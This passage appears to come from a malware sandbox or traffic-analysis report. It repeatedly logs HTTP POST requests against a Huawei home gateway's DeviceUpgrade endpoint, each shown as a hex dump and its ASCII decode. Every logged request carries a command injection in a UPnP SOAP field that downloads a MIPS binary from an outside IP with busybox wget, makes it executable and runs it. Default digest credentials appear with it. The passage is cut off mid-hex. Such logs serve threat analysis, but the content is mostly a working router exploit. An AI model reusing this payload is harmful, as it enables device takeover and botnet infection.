3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 